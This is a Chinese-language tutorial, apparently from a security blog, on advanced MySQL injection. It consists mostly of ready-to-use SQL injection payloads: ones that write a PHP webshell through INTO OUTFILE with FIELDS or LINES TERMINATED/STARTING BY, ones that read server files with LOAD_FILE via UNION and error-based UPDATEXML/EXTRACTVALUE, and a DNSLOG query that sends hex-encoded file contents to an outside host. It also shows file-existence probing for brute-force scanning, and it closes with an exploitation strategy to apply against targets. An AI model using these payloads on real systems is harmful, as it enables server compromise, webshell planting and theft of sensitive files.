报错注入邂逅load_file&into outfile搭讪LINES
字数 1271 2025-08-29 08:32:24
MySQL注入高级利用:文件读写与WebShell写入技术
0x00 前言
本技术文档详细讲解MySQL注入中利用报错注入读取文件内容、使用LINES TERMINATED BY在查询只返回一个字段时写入WebShell文件,以及如何利用load_file函数扫描判断文件是否存在的高级技术。
0x01 INTO OUTFILE 文件写入技术
基本要求
- 用户必须具有FILE权限
- 文件不能覆盖写入,目标文件必须不存在
- 如果
secure_file_priv非空,则只能写入该目录下的文件
写入方法对比
-
FIELDS TERMINATED BY
- 原理:在每个字段之间插入WebShell内容
- 限制:当SELECT只返回一个字段时,无法写入WebShell内容
- 示例:
SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
-
LINES TERMINATED BY / LINES STARTING BY
- 原理:在每条记录的结尾或开始处插入WebShell内容
- 优势:即使只查询一个字段也能写入WebShell,适用于LIMIT等不能UNION的语句
- 示例:
SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
具体写入技术
-
UNION注入写入
SELECT * FROM user WHERE id = -1 UNION SELECT 1,2,0x3c3f70687020706870696e666f28293b3f3e INTO OUTFILE 'D:/1.php' -
FIELDS TERMINATED BY写入
SELECT * FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e -
LINES TERMINATED BY写入
SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e -
LINES STARTING BY写入
SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e
0x02 LOAD_FILE 文件读取技术
基本要求
- 用户必须具有FILE权限
- 如果
secure_file_priv非空,则只能读取该目录下的文件
读取方法
-
联合注入+LOAD_FILE
SELECT * FROM user WHERE id=-1 UNION SELECT 1,'1',(SELECT LOAD_FILE('D:/1.php')) -
DNSLOG带外查询
- 要求:Windows环境
SELECT id FROM user WHERE id = LOAD_FILE(CONCAT('\\\\',HEX((SELECT LOAD_FILE('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt')) -
报错注入+LOAD_FILE
- 推荐使用HEX编码方式分段读取文件内容
SELECT * FROM user WHERE username = '' AND UPDATEXML(0,CONCAT(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)SELECT * FROM user WHERE id=1 AND (EXTRACTVALUE(1,CONCAT(0x7e,(SELECT (LOAD_FILE('D:/1.php'))),0x7e)))
0x03 文件存在性扫描技术
原理
LOAD_FILE读取文件时,若无权限或文件不存在则返回NULL- 结合
ISNULL+LOAD_FILE可判断文件是否存在
判断方法
-
文件存在时:
ISNULL(LOAD_FILE('文件名'))返回0SELECT * FROM user WHERE username = '' AND UPDATEXML(0,CONCAT(0x7e,ISNULL(LOAD_FILE('D:/1.php')),0x7e),0);报错信息:
ERROR 1105 (HY000): XPATH syntax error: '~0~' -
文件不存在时:
ISNULL(LOAD_FILE('文件名'))返回1SELECT * FROM user WHERE username = '' AND UPDATEXML(0,CONCAT(0x7e,ISNULL(LOAD_FILE('D:/xxxxx')),0x7e),0);报错信息:
ERROR 1105 (HY000): XPATH syntax error: '~1~'
实际应用
- 可结合Burp爆破扫描文件名
- 示例:扫描
C:/Windows/win.ini存在,而C:/Windows/passwd不存在
0x04 总结与利用策略
-
已知绝对路径且有权限时
- 直接使用
INTO OUTFILE写入WebShell
- 直接使用
-
未知网站绝对路径时
- 读取常见配置文件获取路径
- 直接读取敏感文件获取信息
-
盲注情况下
- 利用DNSLOG带外获取内容
- 使用HEX()函数转换后按位读取文件内容
-
其他技巧
- 结合报错注入和文件操作进行更深入的信息收集
- 利用文件存在性扫描技术枚举系统文件
本技术文档涵盖了MySQL注入中文件读写和WebShell写入的核心技术,实际应用中可根据目标环境选择最适合的方法组合使用。